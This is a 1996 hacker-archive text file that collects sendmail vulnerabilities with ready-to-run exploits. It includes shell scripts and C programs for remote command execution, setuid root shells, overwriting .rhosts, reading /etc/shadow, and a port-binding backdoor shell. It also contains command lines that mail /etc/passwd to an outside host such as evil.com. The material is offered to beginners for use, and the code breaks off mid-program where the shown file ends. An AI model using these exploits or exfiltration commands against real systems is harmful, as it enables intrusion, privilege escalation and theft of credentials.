home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / Improving-Security / security14.txt < prev    next >
Encoding:
Text File  |  1999-11-04  |  60.0 KB  |  3,155 lines

  1.  
  2.                             Data collected by: Zhart
  3.                             Date: 26/11/96
  4.  
  5. I wanna say that I don't take any credit for this text, I simply collected
  6. and reorganized all the info that was all around on my harddisk (and in my
  7. head), just commented some bugs or added something; sometimes I haven't
  8. even tested the source codes.
  9. I started compiling this list for my own use, then I thought it would be
  10. interesting also for other ppl, mainly beginners, or maybe nobody. For any
  11. comments you can reach me on L.O.R.E. bbs
  12.  
  13.  
  14.  
  15. -----------------------------------------------------------------
  16.  
  17.   Hole                         Version of Sendmail
  18.  
  19. -----------------------------------------------------------------
  20.  
  21. = WIZ =                        *oLD*
  22.  
  23. = DEBUG =                      *oLD*
  24.  
  25. = TURN =                       *oLD*
  26.  
  27. = OVERFLOW INPUT BUFFER =      *oLD*
  28.  
  29. = DECODE ALIAS =               *VrFy*
  30.  
  31. = qf SunOS =                   *SunOS-sendmailV5.1*
  32.  
  33. = -oR SunOS =                  *SunOS-sendmailV5.22*
  34.  
  35. = -oM =                        *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*
  36.  
  37. = OVERWRITE FILES =            *FiXED iN 5.59*
  38.  
  39. = -oQ =                        *DuNNo*
  40.  
  41. = |PROGRAM =                   *TeSTeD oN 5.55*
  42.  
  43. = .forward =                   *5.61*
  44.  
  45. = TAIL =                       *TeSTeD oN 5.65*
  46.  
  47. = -C =                         *oLD*
  48.  
  49. = 4.1 =                        *TeSTeD oN 4.1*
  50.  
  51. = -d########### =              *8.X.X <8.6.7*
  52.  
  53. = -oE/filename bounce=         *8.6.7*
  54.  
  55. = 8.6.9 ident =                *8.6.9*
  56.  
  57. = 8.6.9 newlines =             *8.6.9*
  58.  
  59. = 8.6.10 ident/newlines =      *8.6.10*
  60.  
  61. = HP-UX =                      *HP-UX 9.x*
  62.  
  63. = 8.7.5 gecos =                *8.X.X <8.8.0* *TeSTed oN 8.6.12*
  64.  
  65. = mime7to8() =                 *8.8.0*
  66.  
  67. = smtpd =                      *8.7-8.8.2*
  68.  
  69. ----------------------------------------------------------------
  70.  
  71. WIZ = *oLD* =
  72.  
  73. The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very
  74. difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and
  75. you're in a root shell. [ it can be set by configuring sendmail.cf file ...
  76. 'OW' option immediately followed by the encrypted password ]
  77.  
  78. DEBUG = *oLD* =
  79.  
  80. This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting
  81. allows anyone to execute any program on a remote machine. It simply
  82. consists in giving the 'debug' command, use a pipe to /bin/sh as recipient
  83. and feed the data with the commands you want to be executed on the remote
  84. machine.
  85.  
  86. [ If sendmail server answers with "200 Debug set" to the 'debug' command
  87. there are good chances the bug is still present ]
  88.  
  89. Example :
  90.  
  91. #!/bin/sh
  92.  
  93. telnet << EOF
  94.  
  95. open fucked.host.edu 25
  96.  
  97. debug
  98.  
  99. mail from: </dev/null>
  100.  
  101. rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
  102.  
  103. data
  104.  
  105. cp /bin/sh /tmp/sushi          # or alternatively:
  106.  
  107. chmod 4755 /tmp/sushi          # echo "+ +" >> /.rhosts
  108.  
  109. .
  110.  
  111. EOF
  112.  
  113. TURN = *oLD* =
  114.  
  115. TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]
  116.  
  117. OVERFLOW INPUT BUFFER = *oLD* =
  118.  
  119. Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
  120. ;) ]
  121.  
  122. DECODE ALIAS = *VrFy* =
  123.  
  124. If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
  125. decode, write to any file onwed by daemon, if they can connect to sendmail
  126. daemon, can write to any file owned by any user.
  127.  
  128. To test the existence of decode alias from a sendmail connection do:
  129.  
  130. % telnet target.com
  131.  
  132. Trying 127.127.127.127
  133.  
  134. Connected to target.com
  135.  
  136. Escape character is '^]'.
  137.  
  138. 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  139.  
  140. expn decode
  141.  
  142. 250 <"|/usr/bin/uudecode">
  143.  
  144. quit
  145.  
  146. 1SecExploit:
  147.  
  148. % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com
  149.  
  150. MoreThan1SecExploit:
  151.  
  152. % cat > outfile                  # Let's make our .rhosts file
  153.  
  154. + +
  155.  
  156. ^C
  157.  
  158. % uuencode outfile /usr/bin/.rhosts
  159.  
  160. begin 644 /bin/.rhosts
  161.  
  162. $*R'K"O\
  163.  
  164. % telnet fuqdhost.com 25
  165.  
  166. 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)
  167.  
  168. VRFY decode
  169.  
  170. 250 <|/usr/bin/uudecode>
  171.  
  172. MAIL FROM: bin
  173.  
  174. 250  ... Sender Okay
  175.  
  176. RCPT TO: decode
  177.  
  178. 250  ... Recipient Okay
  179.  
  180. DATA
  181.  
  182. 354 Enter mail, end with "." on a line by itself
  183.  
  184. begin 644 /bin/.rhosts
  185.  
  186. $*R'K"O\                       # which is just "+ +" uuencoded
  187.  
  188. end
  189.  
  190. .
  191.  
  192. 250 Mail accepted
  193.  
  194. quit
  195.  
  196. 221 fuqdhost.com closing connection
  197.  
  198. Connection closed by foreign host.
  199.  
  200. % rlogin fuqdhost.com -l bin
  201.  
  202. $
  203.  
  204. If no home directories are known or writable, an interesting variation of
  205. this is to create a bogus /etc/aliases.pag file that contains an alias with
  206. a command you wish to execute on your target. This may work since on many
  207. systems the aliases.pag and aliases.dir files, which control the system's
  208. mail aliases, are writable to the world.
  209.  
  210.  evil % cat decode
  211.  
  212.  bin: "| cat /etc/passwd | mail zen@evil.com"
  213.  
  214.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  215.  
  216.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com
  217.  
  218.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  219.  
  220. qf SunOS = SunOS-sendmailV5.1 =
  221.  
  222. The method used by sendmail version 5 to open a control file
  223. [/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby
  224. another process may obtain a control-file file descriptor, opened for write
  225. access. Sendmail v5, during execution, sets umask(0), which is an insecure
  226. mask. In order not to leave open control files with mode 666, sendmail v5
  227. uses chmod(2) to set a secure file mode. However this is a race condition,
  228. as we can obtain an open file descriptor for write by opening the control
  229. file before the call to chmod(2).
  230.  
  231. IMPACT: Local users can write their own control files, and run programs
  232.  
  233.         as any user, bar root.
  234.  
  235. EXPLOIT:
  236.  
  237. grabfd.c:
  238.  
  239. /*
  240.  
  241.  * grabfd.c
  242.  
  243.  * usage: grabfd username command-file
  244.  
  245.  *
  246.  
  247.  *      username: user to execute 'command-file' as.
  248.  
  249.  *      command-file: file containing 10 lines of shell commands to execute.
  250.  
  251.  */
  252.  
  253. #include <stdio.h>
  254.  
  255. #include <unistd.h>
  256.  
  257. #include <sys/fcntl.h>
  258.  
  259. #include <sys/param.h>
  260.  
  261. #ifndef SENDMAIL
  262.  
  263. #define SENDMAIL "/usr/lib/sendmail"
  264.  
  265. #endif
  266.  
  267. #ifndef SPOOL_DIR
  268.  
  269. #define SPOOL_DIR "/usr/spool/mqueue"
  270.  
  271. #endif
  272.  
  273. char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
  274.  
  275. main(argc,argv)
  276.  
  277. int argc;
  278.  
  279. char **argv;
  280.  
  281. {
  282.  
  283.         int pid, fd;
  284.  
  285.         char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
  286.  
  287.         if (argc != 3) {
  288.  
  289.                 (void)fprintf(stderr, "%s: user file\n",
  290.  
  291.                         argv[0]);
  292.  
  293.                 exit(1);
  294.  
  295.         }
  296.  
  297.         if (getpwnam(argv[1]) == NULL)
  298.  
  299.                 (void)fprintf(stderr, "%s: user %s unknown (error
  300.  
  301. ignored)\n",
  302.  
  303.                         argv[0],
  304.  
  305.                         argv[1]);
  306.  
  307.         if (access(argv[2], F_OK) == -1) {
  308.  
  309.                 (void)fprintf(stderr, "%s: %s does not exist.\n",
  310.  
  311.                        argv[0],
  312.  
  313.                        argv[2]);
  314.  
  315.                 exit(1);
  316.  
  317.         }
  318.  
  319.         if (access(SPOOL_DIR, X_OK) == -1) {
  320.  
  321.                 (void)fprintf(stderr, "%s: cannot access %s.\n",
  322.  
  323.                         argv[0],
  324.  
  325.                         SPOOL_DIR);
  326.  
  327.                 exit(1);
  328.  
  329.         }
  330.  
  331.         if (pid=fork()) {
  332.  
  333.                 if (pid == -1) {
  334.  
  335.                         (void)perror("fork");
  336.  
  337.                         exit(1);
  338.  
  339.                 }
  340.  
  341.                 (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
  342.  
  343.                 (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
  344.  
  345.                 for (;;)
  346.  
  347.                         if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
  348.  
  349.                                 (void)printf("%s: grabbed queue fd.\n",
  350.  
  351.                                              argv[0]);
  352.  
  353.                                 (void)wait();
  354.  
  355.                                 (void)ftruncate(fd, 0);
  356.  
  357.                                 (void)write(fd, sysbuf, strlen(sysbuf));
  358.  
  359.                                 (void)close(fd);
  360.  
  361.                                 if(execl(SENDMAIL,
  362.  
  363.                                       "sendmail", "-q", (char *)0) == -1) {
  364.  
  365.                                         (void)perror("execl");
  366.  
  367.                                         exit(1);
  368.  
  369.                                         };
  370.  
  371.                         }
  372.  
  373.         } else {
  374.  
  375.                 (void)close(0);
  376.  
  377.                 if (open("/etc/motd", O_RDONLY, 0) == -1) {
  378.  
  379.                         (void)perror("open");
  380.  
  381.                         exit(1);
  382.  
  383.                 };
  384.  
  385.                 if (execl(SENDMAIL,
  386.  
  387.                           "sendmail",
  388.  
  389. #ifdef sun
  390.  
  391.                           "-os",
  392.  
  393. #endif
  394.  
  395.                           "-odq", getlogin(), (char *)0) == -1) {
  396.  
  397.                         (void)perror("execl");
  398.  
  399.                         exit(1);
  400.  
  401.                 };
  402.  
  403.         }
  404.  
  405.         exit(1);
  406.  
  407. }
  408.  
  409. ::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::
  410.  
  411. -oR SunOS = SunOS-4.1.X-sendmail V5.22 =
  412.  
  413. From 8lgm:
  414.  
  415. DESCRIPTION: The -oR option uses popen() to return undeliverable mail.
  416.  
  417. IMPACT: Local users can obtain root access.
  418.  
  419. -------------------------- ropt.sh ---------------------------------------
  420.  
  421. #!/bin/sh
  422.  
  423. #
  424.  
  425. # Syntax: roption host
  426.  
  427. #
  428.  
  429. # host is any system running sendmail (except localhost).
  430.  
  431. #
  432.  
  433. # This exploits a flaw in SunOS sendmail(8), and attempts
  434.  
  435. # create a suid root shell
  436.  
  437. #
  438.  
  439. # Written 1995 by [8LGM]
  440.  
  441. # Please do not use this script without permission.
  442.  
  443. #
  444.  
  445. PROG="`basename $0`"
  446.  
  447. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  448.  
  449. IFS=" "                          export IFS
  450.  
  451. # Check args
  452.  
  453. if [ $# -ne 1 ]; then
  454.  
  455.         echo "Syntax: $PROG host"
  456.  
  457.         exit 1
  458.  
  459. fi
  460.  
  461. # Check we're on SunOS
  462.  
  463. if [ "x`uname -s`" != "xSunOS" ]; then
  464.  
  465.         echo "Sorry, this only works on SunOS"
  466.  
  467.         exit 1
  468.  
  469. fi
  470.  
  471. PROG="`basename $0`"
  472.  
  473. EXECME=/tmp/HotterThanMojaveInMyHeart
  474.  
  475. # Create EXECME.c
  476.  
  477. cat > $EXECME.c << 'EOF'
  478.  
  479. main(argc,argv)
  480.  
  481. int argc;
  482.  
  483. char *argv[];
  484.  
  485. {
  486.  
  487.         chown("/tmp/InfamousAngel", 0, 0);
  488.  
  489.         chmod("/tmp/InfamousAngel", 04755);
  490.  
  491. }
  492.  
  493. EOF
  494.  
  495. cc -o $EXECME $EXECME.c
  496.  
  497. # Check we have EXECME
  498.  
  499. if [ ! -x $EXECME ]; then
  500.  
  501.         echo "$PROG: couldnt compile $EXECME.c - check it out"
  502.  
  503.         exit 1
  504.  
  505. fi
  506.  
  507. /bin/cp /bin/sh /tmp/InfamousAngel
  508.  
  509. # Run sendmail
  510.  
  511. /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
  512.  
  513. To: No1InParticular
  514.  
  515. Hows it goin
  516.  
  517. EOF
  518.  
  519. exec /tmp/InfamousAngel
  520.  
  521. ................................ Cut HeRe ...................................
  522.  
  523. -oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =
  524.  
  525. Sun sendmail allows -oM to set any macro, and still retains root privilege.
  526. ( The list of 'trusted' macros should be limited. )
  527.  
  528. At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail
  529. - all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "
  530.  
  531. After further investigation, it has been discovered that SVR4 based ports
  532. include sendmail(8) based on SMI code.
  533.  
  534. EXPLOIT:
  535.  
  536.   1. Create the file sunsendmailcp
  537.  
  538.      8>------------------------- cut here ---------------------------
  539.  
  540.      #!/bin/sh
  541.  
  542.      #
  543.  
  544.      # sunsendmailcp from to
  545.  
  546.      if [ $# -ne 2 ]; then
  547.  
  548.              echo usage: `basename $0` from to
  549.  
  550.              exit 1
  551.  
  552.      fi
  553.  
  554.      rm -f /usr/tmp/dead.letter
  555.  
  556.      if [ -f /usr/tmp/dead.letter ]; then
  557.  
  558.              echo sorry, cant continue - /usr/tmp/dead.letter exists
  559.  
  560.      fi
  561.  
  562.      if [ ! -r $1 ]; then
  563.  
  564.              echo $1 doesnt exist or is unreadable
  565.  
  566.              exit 1
  567.  
  568.      fi
  569.  
  570.      ln -s $2 /usr/tmp/dead.letter
  571.  
  572.      /usr/lib/sendmail -L0 '-oM#anything' $USER < $1
  573.  
  574.      rm /usr/tmp/dead.letter
  575.  
  576.      exit 0
  577.  
  578.      8>------------------------- cut here ---------------------------
  579.  
  580.   2. Execute the command % ./sunsendmailcp sourcefile targetfile and target
  581.      file will either be appended to or created.
  582.  
  583. OVERWRITE FILES = FiXED iN 5.59 =
  584.  
  585. Remote users are able to write to any non-root owned files in the system.
  586. This bug was definitely fixed in version 5.59 from Berkeley; despite the
  587. messages below, for versions of sendmail previous to 5.59, the "evil.com"
  588. gets appended, despite the error messages, along with all of the typical
  589. mail headers, to the file specified:
  590.  
  591.  % cat evil_sendmail
  592.  
  593.  telnet victim.com 25 << EOSM
  594.  
  595.  rcpt to: /home/zen/.rhosts
  596.  
  597.  mail from: zen
  598.  
  599.  data
  600.  
  601.  random garbage
  602.  
  603.  .
  604.  
  605.  rcpt to: /home/zen/.rhosts
  606.  
  607.  mail from: zen
  608.  
  609.  data
  610.  
  611.  evil.com
  612.  
  613.  .
  614.  
  615.  quit
  616.  
  617.  EOSM
  618.  
  619.  evil % /bin/sh evil_sendmail
  620.  
  621.  Trying 128.128.128.1
  622.  
  623.  Connected to victim.com
  624.  
  625.  Escape character is '^]'.
  626.  
  627.  Connection closed by foreign host.
  628.  
  629.  evil % rlogin victim.com -l zen
  630.  
  631.          Welcome to victim.com!
  632.  
  633.  victim %
  634.  
  635. '-oQ' = DuNNo =
  636.  
  637. This bug involves the '-q' and the '-oQ' options and causes any file to be
  638. deleted and read. You should create a 'qf'-type file, in the
  639. /usr/spool/mqueue dir, like this:
  640.  
  641. P28
  642.  
  643. T599831504
  644.  
  645. Dfilename
  646.  
  647. Suser
  648.  
  649. Ruser
  650.  
  651. H?P?return-path:
  652.  
  653. H?F?from: user (User Name)
  654.  
  655. H?x?full-name: User Name
  656.  
  657. HTo: user
  658.  
  659. Hsubject: Gotcha
  660.  
  661. after the command `sendmail -q -oQ' is issued, file `filename' will be
  662. deleted and its content will be mailed to 'user'.
  663.  
  664. - - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to
  665. queue messages The 'q' make the daemon to process the queue - - - -
  666.  
  667. '|PROGRAM ' = TeSTeD oN 5.55 = ...may be others
  668.  
  669. Anyone can specify arbitrary shell commands and/or pathnames for the sender
  670. and/or destination address. A typical attack to get the password file is:
  671.  
  672.  % telnet target.com 25
  673.  
  674.  Trying 123.456.789.0...
  675.  
  676.  Connected to target.com
  677.  
  678.  Escape character is '^]'.
  679.  
  680.  220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
  681.  
  682.  mail from: "|/bin/mail me@myhost.com < /etc/passwd"
  683.  
  684.  250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
  685.  
  686.  rcpt to: mickeymouse
  687.  
  688.  550 mickeymouse... User unknown
  689.  
  690.  data
  691.  
  692.  354 Enter mail, end with "." on a line by itself
  693.  
  694.  .
  695.  
  696.  250 Mail accepted
  697.  
  698.  quit
  699.  
  700.  Connection closed by foreign host.
  701.  
  702.  %
  703.  
  704. .forward = 5.61 =
  705.  
  706. When delivering to files and programs, `sendmail' does not do an
  707. `initgroups(3)' after forking on final delivery. As a result, the sender's
  708. group list remains in effect throughout this stage. This is particularly
  709. serious when root is sending the mail since a program executed out of a
  710. `.forward' file gains interesting privileges like `wheel' and `kmem'. A
  711. related hole can be broken down into a "problem" and an "aggravation". The
  712. "problem" is that queued local mail no longer has the original recipient's
  713. uid associated with it. Control files only store a list of exploded
  714. recipients (i.e. users, files and programs) -- one per line -- each
  715. prefaced with an `R'.
  716.  
  717. So, after an address resolves to the local machine and has undergone alias
  718. and ".forward" expansion, if the letter happens to get queued, on the
  719. succeeding queue run sendmail doesnt know who to run the final delivery as.
  720. The "aggravation" is that, when doing this final delivery of queued local
  721. mail, sendmail will `setuid()' itself to the sender's uid if it is
  722. available; in general, the sender's uid will be used when the sender is on
  723. the local machine. As a result, a user can run a program as anyone who
  724. sends them mail from the local machine. There is also an added
  725. "complication"; the default uid and gid are also set to the sender when
  726. delivering mail! Since the default uid and gid are only used when calling
  727. `setuid()' and `setgid()' (to reset the uid/gid before doing final
  728. delivery), these variables should never be set to the sender.
  729.  
  730.               |------------------------------ Local compromise
  731.                       ------------------------------|
  732.  
  733. Save the following program as "sploit.c" changing MYUID to your user id.
  734. Compile "sploit.c" producing the executable "sploit" in your home
  735. directory. Create a ".forward" file containing:
  736.  
  737.      \<user>, "|<path>/sploit"
  738.  
  739. [change to your username so you dont lose mail (unless, of course, you'd
  740. rather lose mail) and set <path> to your home directory path (where sploit
  741. lives)] Now, as another user, send yourself some mail. Note that the sploit
  742. program defers delivery the first time thru; check out "/tmp/whoami" to see
  743. that sploit ran as you. Now, run your mail queue (or open a beer and wait
  744. for sendmail to run it). After the queue run, note that the sploit accepted
  745. the letter and returned a successful exit status; check out "/tmp/whoami"
  746. again to see that this time, sploit ran as the sender! You can also use
  747. "sploit.c" to test for the root initgroups() hole by checking the group
  748. list when "sploit" was first called.
  749.  
  750.      #include <sys/param.h>
  751.  
  752.      #include <sys/types.h>
  753.  
  754.      #include <stdio.h>
  755.  
  756.      #include <sysexits.h>
  757.  
  758.      #include <pwd.h>
  759.  
  760.      #include <grp.h>
  761.  
  762.      #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
  763.  
  764.      #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
  765.  
  766.      #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
  767.  
  768.      main()
  769.  
  770.      {
  771.  
  772.      FILE *fp;
  773.  
  774.      uid_t myuid;
  775.  
  776.      int i, rval, ngrps, grplst[NGROUPS];
  777.  
  778.      if ((myuid = getuid()) == MYUID)
  779.  
  780.      rval = EX_TEMPFAIL;
  781.  
  782.      else
  783.  
  784.      rval = EX_OK;
  785.  
  786.      if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
  787.  
  788.      /* real user/group ids */
  789.  
  790.      fprintf(fp, "%susr:%s grp:%s",
  791.  
  792.      (rval == EX_OK)? "": "Def> ",
  793.  
  794.      getuser(myuid), getgrp(getgid()));
  795.  
  796.      /* effective user/group ids */
  797.  
  798.      fprintf(fp, " eusr:%s egrp:%s",
  799.  
  800.      getuser(geteuid()), getgrp(getegid()));
  801.  
  802.      /* group list */
  803.  
  804.      if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
  805.  
  806.      fprintf(fp, " grps:");
  807.  
  808.      for (i = 0; i < ngrps; i++)
  809.  
  810.      fprintf(fp, " %s", getgrp(grplst[i]));
  811.  
  812.      }
  813.  
  814.      fprintf(fp, "\n");
  815.  
  816.      (void) fclose(fp);
  817.  
  818.      }
  819.  
  820.      exit(rval);
  821.  
  822.      }
  823.  
  824. --------------------- CuT HeRe -------------------------------------------------
  825.  
  826. =====================  trick for sendmail 5.61  ===========================
  827.  
  828. /*
  829.  
  830.  * 1) set the #define UID, at the top of the program to be your's
  831.  
  832.  * 2) create a file: /tmp/.shell, which is a script to make a suid shell
  833.  
  834.  * 3) compile the program and name it say, /tmp/.magic
  835.  
  836.  * 4) create a .forward file containing: '|/tmp/.magic'
  837.  
  838.  * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
  839.  
  840.  *    you want a shell from (but not root :-( RATS!)
  841.  
  842.  * 6) wait abit, it usually works ...
  843.  
  844.  */
  845.  
  846. #define UID 777   /* change to your uid */
  847.  
  848. #include <sys/param.h>
  849.  
  850. #include <sys/types.h>
  851.  
  852. #include <stdio.h>
  853.  
  854. #include <sysexits.h>
  855.  
  856. #include <pwd.h>
  857.  
  858. #include <grp.h>
  859.  
  860. #define SHELLFILE  "/tmp/.shell"
  861.  
  862. main()
  863.  
  864.         int myuid, rval;
  865.  
  866.         if ((myuid = getuid()) == UID)
  867.  
  868.                 rval = EX_TEMPFAIL;
  869.  
  870.         else {
  871.  
  872.                 rval = EX_OK;
  873.  
  874.                 system(SHELLFILE);
  875.  
  876.         }
  877.  
  878.         exit(rval);
  879.  
  880. }
  881.  
  882. ------------------------------ CuT HeRe --------------------------------
  883.  
  884. Tail creates a daemon shell = TeSTeD oN 5.65 =
  885.  
  886. Through this sendmail bug, it is possible to become uid daemon (or whatever
  887. your sendmail delivers non-user mail as), or the uid of any user. The
  888. specifics are as follows:
  889.  
  890.    * The envelope From: field, or possibly the Errors-To: header (but I've
  891.      not tested it), must be set to the pipe through a bounce of your mail
  892.      will be returned. Typically this is executed by uid daemon.
  893.    * An error must be caused in the message such that sendmail will send a
  894.      bounce to the From: envelope (or possibly to Errors-To:).
  895.  
  896. These two conditions are all that is necessary to exploit the bug.
  897. Typically the simplest thing to pipe to is
  898.  
  899.  
  900.  
  901.         |/usr/ucb/tail|/usr/bin/sh
  902.  
  903. aka     |/usr/ucb/tail|/bin/sh
  904.  
  905. That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/;
  906. the PATH is important in the case.
  907.  
  908. The condition we have used to generate an error is an invalid
  909. Return-Receipt-To: header. There are a plethora of other ways to do so, and
  910. some of them may depend on the specifics of your sendmail; be forewarned.
  911.  
  912. The last ten lines of your message should contain whatever you wish to do
  913. as uid daemon.
  914.  
  915. ---cut here
  916.  
  917. [panix!jhawk] |% telnet panix.com 25
  918.  
  919. Trying 198.7.0.2 ...
  920.  
  921. Connected to panix.com.
  922.  
  923. Escape character is '^]'.
  924.  
  925. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
  926.  
  927. -0500
  928.  
  929. HELO
  930.  
  931. 250 Hello panix.com, why do you call yourself ?
  932.  
  933. MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
  934.  
  935. 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
  936.  
  937. RCPT TO: root
  938.  
  939. 250 root... Recipient ok
  940.  
  941. DATA
  942.  
  943. 354 Enter mail, end with @.@ on a line by itself
  944.  
  945.  From: jhawk"panix.com (John Hawkinson)
  946.  
  947.   To: jhawk"panix.com (John Hawkinson)
  948.  
  949.   Return-Receipt-To: |foobar
  950.  
  951.   Subject: This is a large hole in the ground.
  952.  
  953.   X-Disclaimer: We take no responsibility for what might happen
  954.  
  955.   Hi there. Wanna play ball?
  956.  
  957.   #!/bin/sh
  958.  
  959.   #The above line is just in case :-)
  960.  
  961.   echo This is a Serious Bug > /tmp/bug
  962.  
  963.   echo id reports: >> /tmp/bug
  964.  
  965.   /usr/bin/id >> /tmp/bug
  966.  
  967.   echo Fixing this would be good >> /tmp/bug
  968.  
  969.   cp /bin/sh /tmp/bugshell
  970.  
  971.   chmod u+s /tmp/bugshell
  972.  
  973.   echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  974.  
  975.   chmod ugo+rx /tmp/bugshell
  976.  
  977. .
  978.  
  979. 250 Ok
  980.  
  981. quit
  982.  
  983. 221 panix.com closing connection
  984.  
  985. ------------------------- CuT HeRe ----------------------------------------
  986.  
  987. "-C" = oLD =
  988.  
  989. Read any file. Using the '-C' option causes an alternative configuration
  990. file to be used, if the file is a protected file which is actually not a
  991. send mail configuration file, `sendmail' will print out some contents of
  992. the file as an error message.
  993.  
  994. It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)
  995.  
  996. $ sendmail -C /etc/shadow
  997.  
  998. <contents of /etc/shadow>
  999.  
  1000.  
  1001.  
  1002. 4.1 = TeSTeD oN 4.1 =
  1003.  
  1004. It allows remote access as bin...and since bin owns the /etc dir you can
  1005. gain root.
  1006.  
  1007. Rsend needs mconnect, which is a binary, which just connects to the place
  1008. and sends the data. You can get rid the of ()'s at the beginninga and end
  1009. of the script, and get rid of the mconnect line, and run like ./rsend >
  1010. file, then ascii U/L the file to port 25...If it says a lot of stuff like
  1011. "Command Ununown" 25 times, then it didn't work.
  1012.  
  1013. Here's rsend:
  1014.  
  1015. #!/bin/sh
  1016.  
  1017. # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
  1018.  
  1019. #
  1020.  
  1021. # This material is copyrighted by Scott Chasin, 1992, 1993. The
  1022.  
  1023. # usual standard disclaimer applies, especially the fact that the
  1024.  
  1025. # author is not liable for any damages caused by direct or indirect
  1026.  
  1027. # use of the information or functionality provided by this program.
  1028.  
  1029. #
  1030.  
  1031. # Description:
  1032.  
  1033. #
  1034.  
  1035. # Exploit NEW sendmail hole  and bind a port so we can spawn a program.
  1036.  
  1037. # Not for distribution under any circumstances
  1038.  
  1039. #
  1040.  
  1041. # Usage: smail
  1042.  
  1043. # default: smail   <7001>
  1044.  
  1045. port=$3
  1046.  
  1047. user=$2
  1048.  
  1049. cmd=$4
  1050.  
  1051. if [ -z "$2" ]; then
  1052.  
  1053.    user=daemon
  1054.  
  1055. fi
  1056.  
  1057. if [ -z "$3" ]; then
  1058.  
  1059.    port=7002
  1060.  
  1061. fi
  1062.  
  1063. if [ -z "$4" ]; then
  1064.  
  1065.    cmd="/bin/csh -i"
  1066.  
  1067. fi
  1068.  
  1069. (
  1070.  
  1071. sleep 4
  1072.  
  1073. echo "helo"
  1074.  
  1075. echo "mail from: |"
  1076.  
  1077. echo "rcpt to: bounce"
  1078.  
  1079. echo "data"
  1080.  
  1081. echo "."
  1082.  
  1083. sleep 3
  1084.  
  1085. echo "mail from: $user"
  1086.  
  1087. echo "rcpt to: | sed '1,/^$/d' | sh"
  1088.  
  1089. echo "data"
  1090.  
  1091. echo "cat > /tmp/a.c <
  1092.  
  1093. #include <sys/signal.h>
  1094.  
  1095. #include <sys/socket.h>
  1096.  
  1097. #include <netinet/in.h>
  1098.  
  1099. #include <netdb.h>
  1100.  
  1101. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  1102.  
  1103. int **av;{struct sockaddr_in mya;struct servent *sp
  1104.  
  1105. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  1106.  
  1107. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  1108.  
  1109. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  1110.  
  1111. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  1112.  
  1113. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  1114.  
  1115. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  1116.  
  1117. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  1118.  
  1119. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  1120.  
  1121. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  1122.  
  1123. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  1124.  
  1125. ==0){for(x=2;x
  1126.  
  1127. Or you can also ul this to port 25. BTW, it gets you in by running a
  1128. program that listens to port 7008... you telnet to port 7008. You can then
  1129. proceed to create new users in /etc/passwd because you own the /etc
  1130. dir...you need to type a ; after every command, and it gives you 1 error
  1131. every command...ignore it. The process may be noticed by a few admins.
  1132.  
  1133. helo
  1134.  
  1135. mail from: |
  1136.  
  1137. rcpt to: bounce
  1138.  
  1139. data
  1140.  
  1141. .
  1142.  
  1143. mail from: bin
  1144.  
  1145. rcpt to: | sed '1,/^$/d' | sh
  1146.  
  1147. data
  1148.  
  1149. cat > /tmp/a.c <
  1150.  
  1151. #include <sys/signal.h>
  1152.  
  1153. #include <sys/socket.h>
  1154.  
  1155. #include <netinet/in.h>
  1156.  
  1157. #include <netdb.h>
  1158.  
  1159. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
